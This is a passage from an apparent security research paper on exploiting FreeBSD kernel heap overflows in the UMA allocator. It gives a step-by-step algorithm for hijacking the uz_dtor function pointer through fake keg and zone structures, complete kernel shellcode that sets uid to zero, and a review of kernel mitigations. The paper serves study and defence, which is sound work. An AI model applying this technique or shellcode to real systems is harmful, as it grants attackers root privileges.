[*] bug: 12: item at 0xc2593a00
[*] bug: 13: item at 0xc25e3700
[*] bug: 14: item at 0xc25e4200
[*] bug: 15: item at 0xc2592200
[*] bug: 16: item at 0xc2381800
[*] bug: 17: item at 0xc2593d00
[*] bug: 18: item at 0xc2592600
[*] bug: 19: item at 0xc2592500
[*] bug: 20: item at 0xc235d900
[*] bug: 21: item at 0xc2434b00
[*] bug: 22: item at 0xc2592800
[*] bug: 23: item at 0xc2434800
[*] bug: 24: item at 0xc2592000
[*] bug: 25: item at 0xc2435e00
[*] bug: 26: item at 0xc25e4d00
[*] bug: 27: item at 0xc25e4600
[*] bug: 28: item at 0xc25e3d00
[*] bug: 29: item at 0xc25e3c00
[*] bug: 30: item at 0xc25e4500
[*] bug: 31: item at 0xc25e3900
[*] bug: 32: item at 0xc25e4700
[*] bug: 33: item at 0xc25e3b00
[*] bug: 34: item at 0xc25e3000
[*] bug: 35: item at 0xc25e3200
[*] bug: 36: item at 0xc25e3800
[*] bug: 37: item at 0xc25e3300
[*] bug: 38: item at 0xc25e3100
[*] bug: 39: item at 0xc25e4800
[*] bug: 40: item at 0xc25e3a00
---[ free items on the 256 zone: 45
---[ allocating 15 items on the 256 zone...
[*] bug: 41: item at 0xc25e6800
[*] bug: 42: item at 0xc25e6700
[*] bug: 43: item at 0xc25e6600
[*] bug: 44: item at 0xc25e6500
[*] bug: 45: item at 0xc25e6400
[*] bug: 46: item at 0xc25e6300
[*] bug: 47: item at 0xc25e6200
[*] bug: 48: item at 0xc25e6100
[*] bug: 49: item at 0xc25e6000
[*] bug: 50: item at 0xc25e5e00
[*] bug: 51: item at 0xc25e5d00
[*] bug: 52: item at 0xc25e5c00
[*] bug: 53: item at 0xc25e5b00
[*] bug: 54: item at 0xc25e5a00
[*] bug: 55: item at 0xc25e5900

In the output above we can see that during the initial allocations the items are placed at seemingly 
unpredictable locations due to the fact that the items are actually allocated in free spots on partially 
full existing slabs. After the current number of free items of the '256' zone is consumed, we can see 
that the next allocations follow a pattern from higher to lower addresses. Another useful observation 
we can make is that we always get a final item of a slab (i.e. at address 0xXXXXXe00 for the '256'  
zone) somewhere in the next fifteen, or generally ITEMS_PER_SLAB, item allocations of newly created 
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slabs. Since we know that the slabs of the '256' anonymous zone have their uma_slab structures 
stored onto the slabs themselves, we now have a way to reach the metadata of non-offpage slabs.

E x p l o i t a t i o n  A l g o r i t h m

As we have seen in the previous section, the uma_slab_head structure of a  non-offpage slab is 
stored on the slab itself at a higher memory address than the items of the slab. Taking advantage of  
an insufficient input validation vulnerability on kernel memory managed by a zone with non-offpage 
slabs (like for example the '256' zone), we can overflow the last item of the slab and overwrite the  
uma_slab_head structure. This opens up a number of different alternatives for diverting the flow of 
the kernel's execution. In this paper we will  only explore the one we have found to be easier to  
achieve that also allows us to leave the system in a stable state after exploitation.

u z _ d t o r  H i j a c k i n g

The uz_dtor function pointer is in the uma_zone structure (for every UMA zone obviously). If  we 
manage to modify it to point to an arbitrary address we can divert the flow of execution to our code 
during the  deallocation of  the  edge item from the  underlying slab.  When free(9)  is  called on a 
memory address the corresponding slab is discovered from the address passed as an argument:

slab = vtoslab((vm_offset_t)addr & (~UMA_SLAB_MASK));

The slab is then used to find the keg's address to which it belongs, and then the keg's address is 
used to find the zone (or, to be more precise, the first zone in case the keg is associated with 
multiple zones) which is subsequently passed to the uma_zfree_arg() function:

uma_zfree_arg(LIST_FIRST(&slab->us_keg->uk_zones), addr, slab);

Finally, if the uz_dtor function pointer of the zone is not NULL then it is called on the item to be 
deallocated in order to implement the custom destructor that a kernel developer may have defined 
for the zone:

if (zone->uz_dtor)
        zone->uz_dtor(item, keg->uk_size, udata);

This leads to the formulation of the exploitation algorithm (illustrated in Figure 3):

1. Using vmstat(8) we query the UMA about the different zones, we identify  the one we plan to 
target and parse the number of initial items marked as free on its slabs.

2. Using a system call, or some other code path that allows us to affect kernel space memory from 
userland, we consume all the free items from the target zone.

3. Based on our heuristic observations, we then allocate ITEMS_PER_SLAB number of items on the 
target zone. Although we don't know exactly which allocation will give us an item at the edge of a slab  
(it differs among different kernels), it will be one among the ITEMS_PER_SLAB number of allocations. 
On all these allocations we trigger the vulnerability condition, therefore the item allocated last on a 
slab will overflow into the memory region of the slab's uma_slab_head structure.

4. We overwrite the memory address of us_keg in uma_slab_head with an arbitrary address of our 
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choosing. Since the IA-32 architecture does not implement a fully separated memory address space 
between userland and kernel space, we can use a userland address for this purpose; the kernel will 
dereference it correctly. There are a number of choices for that, but the most convenient one is 
usually the userland buffer passed as an argument to the vulnerable system call.

5. We construct a fake uma_keg structure at that memory address. Our fake uma_keg structure is 
consisting of sane values to all its elements, however its uk_zones element points to another area in 
our userland buffer. There we construct a fake uma_zone structure, again with sane values for its 
elements, but we point the uz_dtor function pointer to another address at our userland buffer (or 
elsewhere) where we place our kernel shellcode.

6. The final step is to deallocate the last ITEMS_PER_SLAB we have allocated in step 3. This will lead 
to free(9), then to uma_zfree_arg() and finally to the execution of the uz_dtor function pointer we have 
hijacked in step 5.
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K e r n e l  C o n t i n u a t i o n

After the hijacking of the uz_dtor function pointer and the execution of the kernel shellcode, control is 
returned to the kernel. Eventually the kernel will try to free an item from the zone that uses the slab 
whose uma_slab_head structure we have corrupted. However, the memory regions we have used to 
store our fake structures have been unmapped when our process has completed. Therefore, the 
system crashes when it tries to dereference the address of the fake uma_keg structure during a 
free(9) call.

The slab with the corrupted uma_slab_head structure after exploitation is just one of the slabs of the 
target zone. The other slabs of the zone have an intact uma_slab_head structure and an uncorrupted 
pointer to the corresponding uma_keg structure that points to the real address of the zone's keg. 
Therefore,  after  the  kernel  shellcode  has  performed  privilege  escalation,  we  need  to  copy  the 
address of the uma_keg structure (variable us_keg) from the previous or the next (or any other) slab 
of the zone to the corrupted uma_slab_head structure. The address of the corrupted (i.e. currently 
used)  slab can be  discovered dynamically  during  runtime in  the  ECX register  (on FreeBSD 8.0-
RELEASE, and in the ESI register on previous versions) when the uz_dtor function pointer is called in 
uma_zfree_arg().

C o m p l e t e  K e r n e l  S h e l l c o d e

Based on the above analysis,  and applying the privilege escalation methodology we have already 
described, to FreeBSD 8.0-RELEASE we give below the complete kernel shellcode that the uz_dtor 
function pointer should point to (again in AT&T assembler syntax):

.global _start
_start:

movl    %fs:0, %eax         # get curthread
movl    0x4(%eax), %eax     # get proc pointer from curthread
movl    0x24(%eax), %eax    # get ucred from proc
xorl    %edx, %edx          # edx = 0
movl    %edx, 0x4(%eax)     # patch uid
movl    %edx, 0x8(%eax)     # and ruid
# restore us_keg for our overwritten slab
movl    -0x1000(%ecx), %eax # first we check the previous slab
cmpl    $0x0, %eax
je      prev
jmp     end
prev:
movl    0x1000(%ecx), %eax  # and then the next slab
end:
movl    %eax, (%ecx)
ret
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Kernel Exploitation Mitigations

FreeBSD has a number of memory corruption protections, also known as exploitation mitigations, for 
kernel code. Not all of these were developed with the goal of undermining attacks, but as debugging  
mechanisms. Some are enabled by default in the latest stable version (8.0-RELEASE) and some are 
not.

S t a c k - S m a s h i n g

As we have already mentioned, kernel stack-smashing protection via ProPolice/SSP was introduced 
in version 8.0.  Specifically,  src/sys/kern/stack_protector.c, which is compiled with gcc’s  -fstack-
protector  option, registers an event handler that generates a random canary value (the “guard” 
variable in SSP terminology) placed between the local variables and the saved frame pointer of a 
kernel process’s stack during a function’s prologue. When the function exits, the canary is checked 
against its original value. If it has been altered the kernel calls panic(9) bringing down the  whole 
system, but also stopping any execution flow redirection caused by manipulation of the function’s 
saved frame pointer or saved return address.

N U L L  M a p p i n g s

Also in version 8.0,  FreeBSD has introduced a protection against  user mappings at  address 0 
(NULL)  [16].  This  exploitation  mitigation  mechanism  is  exposed  through  the  sysctl(8)  variable 
security.bsd.map_at_zero and is enabled by default (i.e. the variable has the value 0). When a user 
request is made for the NULL page and the feature is enabled, the kernel instead of returning 
address 0 it returns address 0x1000. Obviously this protection is ineffective in vulnerabilities which 
the  attacker  can  (directly  or  indirectly)  control  the  kernel  dereference  offset.  For  an  applicable 
example see the kernel stack overflow vulnerability we have analyzed in this paper.

H e a p - S m a s h i n g

FreeBSD has  introduced  kernel  heap-smashing  detection  in  8.0-RELEASE  via  an  implementation 
called RedZone [17]. RedZone is oriented more towards debugging the kernel memory allocator 
rather than detecting and stopping deliberate attacks against it. If enabled, it is disabled by default, 
RedZone places a static canary value of 16 bytes above and below each buffer allocated on the heap. 
The canary value consists of the hexadecimal value 0x42 repeated in these 16 bytes. During a heap 
buffer's deallocation the canary value is checked and if  it  has been corrupted the details of the 
corruption  (address  of  the  offending  buffer  and  stack  traces  of  the  buffer's  allocation  and  the 
deallocation) are logged. The code that performs the check for a heap overflow is the following (from 
file src/sys/vm/redzone.c):

for (i = 0; i < REDZONE_CFSIZE; i++, faddr++) {
       if (*(u_char *)faddr != 0x42)
               ncorruptions++;
}

This protection mechanism can obviously be easily bypassed.
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U s e - A f t e r - F r e e

MemGuard  is a replacement kernel memory allocator introduced in FreeBSD version 6.0 and is 
designed  to  detect  use-after-free  bugs  in  kernel  code.  Similarly  to  RedZone,  MemGuard  mainly 
targets debugging scenarios and does not constitute a mechanism to prevent deliberate attacks. 
However, MemGuard is not compatible and cannot replace UMA calls. Therefore (and also due to the 
overhead it introduced even before UMA was developed), it is not enabled by default.

Conclusions

In this paper we have contributed to the existing body of knowledge on the topic of exploiting kernel 
stack overflow vulnerabilities on the FreeBSD operating system. We have presented a detailed step-
by-step process for developing a reliable exploit for an existing kernel stack-smashing vulnerability. 
Moreover, we have presented an in-depth security  assessment of the FreeBSD kernel's  memory 
allocator (UMA) and explored how kernel heap overflow vulnerabilities can be exploited and lead to 
arbitrary code execution. An algorithm has been designed and implemented that provides reliable 
exploitation in scenarios that have not been studied until now.  In closing we stress again that the 
development of UMA was funded by Nokia and we leave open the question of identifying proprietary 
systems that use it.
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